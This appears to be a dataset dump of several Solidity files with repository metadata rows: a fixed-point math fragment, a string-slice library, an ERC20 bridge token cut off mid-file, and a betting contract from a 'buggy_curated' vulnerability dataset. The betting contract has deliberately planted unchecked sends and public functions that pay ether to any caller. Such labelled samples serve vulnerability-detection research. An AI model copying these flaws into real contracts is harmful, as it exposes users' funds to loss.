int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function () payable public {
if (msg.value > 0)
buy();
else
withdrawOld(msg.sender);
}
}
| 203,533 | 625 |
f3eb0baa36d183357bb793f33cf44a46981790c635973a63d93b3bb6558e7f1c
| 25,371 |
.sol
|
Solidity
| false |
312459708
|
sambacha/prettier-config-solidity
|
834d7e2d99deaf91804a398c19c0992eb60564fa
|
tests/format/strings/strings.sol
| 4,107 | 15,464 |
pragma solidity ^0.4.14;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = uint256(-1); // 0xffff...
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice memory self, slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
function rsplit(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice memory self, slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
function count(slice memory self, slice memory needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++) {
length += parts[i]._len;
}
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
| 262,234 | 626 |
46a6ba80803726f58ed778e453bb74ed2c428d801cc98ee0cc4175151ebead55
| 11,503 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/denial_of_service/buggy_curated/buggy_25.sol
| 3,580 | 11,330 |
pragma solidity ^0.5.11;
//
// * whitebetting.com - the whitest football betting game based on ethereum blockchain
// on 2019-09-24
//
contract WhiteBetting {
function unhandledsend_unchk26(address payable callee) public {
callee.send(5 ether);
}
address payable public owner;
// Game information
struct GameInfo {
// game start time
uint256 timestamp;
// game odds
uint32 odd_homeTeam;
uint32 odd_drawTeam;
uint32 odd_awayTeam;
uint32 odd_over;
uint32 odd_under;
uint32 odd_homeTeamAndDraw;
uint32 odd_homeAndAwayTeam;
uint32 odd_awayTeamAndDraw;
// Checking the game status
uint8 open_status;
// Checking whether winning were paid
bool isDone;
}
bool public payedOut_unchk20 = false;
address payable public winner_unchk20;
uint public winAmount_unchk20;
function sendToWinner_unchk20() public {
require(!payedOut_unchk20);
winner_unchk20.send(winAmount_unchk20);
payedOut_unchk20 = true;
}
mapping(uint64 => GameInfo) public gameList;
// Player betting infomation
struct BetFixture {
address payable player;
uint256 stake;
uint32 odd;
// betting type
uint16 selectedTeam;
}
bool public payedOut_unchk32 = false;
address payable public winner_unchk32;
uint public winAmount_unchk32;
function sendToWinner_unchk32() public {
require(!payedOut_unchk32);
winner_unchk32.send(winAmount_unchk32);
payedOut_unchk32 = true;
}
mapping(uint64 => BetFixture[]) public betList;
// Events that are issued to make statistic recovery easier
bool public payedOut_unchk44 = false;
address payable public winner_unchk44;
uint public winAmount_unchk44;
function sendToWinner_unchk44() public {
require(!payedOut_unchk44);
winner_unchk44.send(winAmount_unchk44);
payedOut_unchk44 = true;
}
event Success(uint256 odd);
function UncheckedExternalCall_unchk40 () public
{ address payable addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
event Deposit(address sender, uint256 eth);
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance);
}
event Withdraw(address receiver, uint256 eth);
function bug_unchk27(address payable addr) public
{addr.send (42 ether); }
event NewStake(address player, uint64 fixtureId, uint16 selectedTeam, uint256 stake, uint256 odd);
function bug_unchk31() public{
address payable addr_unchk31;
if (!addr_unchk31.send (10 ether) || 1==1)
{revert();}
}
event SetGame(uint64 _fixtureId, uint256 _timestamp, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw, uint8 _open_status);
bool public payedOut_unchk45 = false;
function withdrawLeftOver_unchk45() public {
require(payedOut_unchk45);
msg.sender.send(address(this).balance);
}
event ChangeOdd (uint64 _fixtureId, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw);
function callnotchecked_unchk13(address callee) public {
callee.call.value(1 ether);
}
event GivePrizeMoney(uint64 _fixtureId, uint8 _homeDrawAway, uint8 _overUnder);
// Constructor
constructor() public {
owner = msg.sender;
}
function unhandledsend_unchk38(address payable callee) public {
callee.send(5 ether);
}
// Change the game status
function setOpenStatus(uint64 _fixtureId, uint8 _open_status) external onlyOwner {
gameList[_fixtureId].open_status = _open_status;
}
function cash_unchk46(uint roundIndex, uint subpotIndex, address payable winner_unchk46) public{
uint64 subpot_unchk46 = 3 ether;
winner_unchk46.send(subpot_unchk46); //bug
subpot_unchk46= 0;
}
// Refresh the game odd
function changeOdd (uint64 _fixtureId, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw) external onlyOwner {
gameList[_fixtureId].odd_homeTeam = _odd_homeTeam;
gameList[_fixtureId].odd_drawTeam = _odd_drawTeam;
gameList[_fixtureId].odd_awayTeam = _odd_awayTeam;
gameList[_fixtureId].odd_over = _odd_over;
gameList[_fixtureId].odd_under = _odd_under;
gameList[_fixtureId].odd_homeTeamAndDraw = _odd_homeTeamAndDraw;
gameList[_fixtureId].odd_homeAndAwayTeam = _odd_homeAndAwayTeam;
gameList[_fixtureId].odd_awayTeamAndDraw = _odd_awayTeamAndDraw;
emit ChangeOdd (_fixtureId, _odd_homeTeam, _odd_drawTeam, _odd_awayTeam, _odd_over, _odd_under, _odd_homeTeamAndDraw, _odd_homeAndAwayTeam , _odd_awayTeamAndDraw);
}
function UncheckedExternalCall_unchk4 () public
{ address payable addr_unchk4;
if (! addr_unchk4.send (42 ether))
{// comment1;
}
else
{//comment2;
}
}
// Save the game information
function setGameInfo (uint64 _fixtureId, uint256 _timestamp, uint32 _odd_homeTeam, uint32 _odd_drawTeam, uint32 _odd_awayTeam, uint32 _odd_over, uint32 _odd_under, uint32 _odd_homeTeamAndDraw, uint32 _odd_homeAndAwayTeam , uint32 _odd_awayTeamAndDraw, uint8 _open_status) external onlyOwner {
gameList[_fixtureId].timestamp = _timestamp;
gameList[_fixtureId].odd_homeTeam = _odd_homeTeam;
gameList[_fixtureId].odd_drawTeam = _odd_drawTeam;
gameList[_fixtureId].odd_awayTeam = _odd_awayTeam;
gameList[_fixtureId].odd_over = _odd_over;
gameList[_fixtureId].odd_under = _odd_under;
gameList[_fixtureId].odd_homeTeamAndDraw = _odd_homeTeamAndDraw;
gameList[_fixtureId].odd_homeAndAwayTeam = _odd_homeAndAwayTeam;
gameList[_fixtureId].odd_awayTeamAndDraw = _odd_awayTeamAndDraw;
gameList[_fixtureId].open_status = _open_status;
gameList[_fixtureId].isDone = false;
emit SetGame(_fixtureId, _timestamp, _odd_homeTeam, _odd_drawTeam, _odd_awayTeam, _odd_over, _odd_under, _odd_homeTeamAndDraw, _odd_homeAndAwayTeam , _odd_awayTeamAndDraw, _open_status);
}
function bug_unchk7() public{
address payable addr_unchk7;
if (!addr_unchk7.send (10 ether) || 1==1)
{revert();}
}
// Player make a bet
function placeBet(uint64 _fixtureId, uint16 _selectedTeam, uint32 _odd) external payable {
uint stake = msg.value;
// Minium amount to bet is 0.001 ether
require(stake >= .001 ether);
// Check whether odds is valid
require(_odd != 0);
// Compare to match mainnet odds with was submitted odds by betting type
if (_selectedTeam == 1) {
require(gameList[_fixtureId].odd_homeTeam == _odd);
} else if (_selectedTeam == 2) {
require(gameList[_fixtureId].odd_drawTeam == _odd);
} else if (_selectedTeam == 3) {
require(gameList[_fixtureId].odd_awayTeam == _odd);
} else if (_selectedTeam == 4) {
require(gameList[_fixtureId].odd_over == _odd);
} else if (_selectedTeam == 5) {
require(gameList[_fixtureId].odd_under == _odd);
} else if (_selectedTeam == 6) {
require(gameList[_fixtureId].odd_homeTeamAndDraw == _odd);
} else if (_selectedTeam == 7) {
require(gameList[_fixtureId].odd_homeAndAwayTeam == _odd);
} else if (_selectedTeam == 8) {
require(gameList[_fixtureId].odd_awayTeamAndDraw == _odd);
} else {
revert();
}
// Betting is possible when the game was opening
require(gameList[_fixtureId].open_status == 3);
// Betting is possible only 10 min. ago
require(now < (gameList[_fixtureId].timestamp - 10 minutes));
// Save the betting information
betList[_fixtureId].push(BetFixture(msg.sender, stake, _odd, _selectedTeam));
emit NewStake(msg.sender, _fixtureId, _selectedTeam, stake, _odd);
}
function my_func_unchk23(address payable dst) public payable{
dst.send(msg.value);
}
// Give prize money by the game result
function givePrizeMoney(uint64 _fixtureId, uint8 _homeDrawAway, uint8 _overUnder) external onlyOwner payable {
// Check the game status whether is opening
require(gameList[_fixtureId].open_status == 3);
// Check if it has ever compensated
require(gameList[_fixtureId].isDone == false);
// Check if it has any player who betted
require(betList[_fixtureId][0].player != address(0));
// Give the prize money!
for (uint i= 0 ; i < betList[_fixtureId].length; i++){
uint16 selectedTeam = betList[_fixtureId][i].selectedTeam;
uint256 returnEth = (betList[_fixtureId][i].stake * betList[_fixtureId][i].odd) / 1000 ;
if ((selectedTeam == 1 && _homeDrawAway == 1)
|| (selectedTeam == 2 && _homeDrawAway == 2)
|| (selectedTeam == 3 && _homeDrawAway == 3)
|| (selectedTeam == 4 && _overUnder == 1)
|| (selectedTeam == 5 && _overUnder == 2)
|| (selectedTeam == 6 && (_homeDrawAway == 1 || _homeDrawAway == 2))
|| (selectedTeam == 7 && (_homeDrawAway == 1 || _homeDrawAway == 3))
|| (selectedTeam == 8 && (_homeDrawAway == 3 || _homeDrawAway == 2))){
betList[_fixtureId][i].player.transfer(returnEth);
}
}
// Change the game status.
gameList[_fixtureId].open_status = 5;
// It was paid.
gameList[_fixtureId].isDone = true; // true .
emit GivePrizeMoney(_fixtureId, _homeDrawAway, _overUnder);
}
function unhandledsend_unchk14(address payable callee) public {
callee.send(5 ether);
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Get this balance of CA
function getBalance() external view returns(uint){
return address(this).balance;
}
function bug_unchk30() public{
uint receivers_unchk30;
address payable addr_unchk30;
if (!addr_unchk30.send(42 ether))
{receivers_unchk30 +=1;}
else
{revert();}
}
// Deposit from owner to CA
function deposit(uint256 _eth) external payable{
emit Deposit(msg.sender, _eth);
}
bool public payedOut_unchk8 = false;
address payable public winner_unchk8;
uint public winAmount_unchk8;
function sendToWinner_unchk8() public {
require(!payedOut_unchk8);
winner_unchk8.send(winAmount_unchk8);
payedOut_unchk8 = true;
}
// Change Owner
function changeOwner(address payable _newOwner) external onlyOwner {
owner = _newOwner;
}
function bug_unchk39(address payable addr) public
{addr.send (4 ether); }
// Fallback function
function () external payable{
owner.transfer(msg.value);
}
function my_func_uncheck36(address payable dst) public payable{
dst.call.value(msg.value)("");
}
// Withdraw from CA to owner
function withdraw(uint256 _amount) external payable onlyOwner {
require(_amount > 0 && _amount <= address(this).balance);
owner.transfer(_amount);
emit Withdraw(owner, _amount);
}
function my_func_unchk35(address payable dst) public payable{
dst.send(msg.value);
}
}
| 132,788 | 627 |
7444757a31756aaca5ab4e9499ae99baffd7d950e8fa383249a4cd3d41b74191
| 23,897 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f8/f8a363cf116b6b633faedf66848ed52895ce703b_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
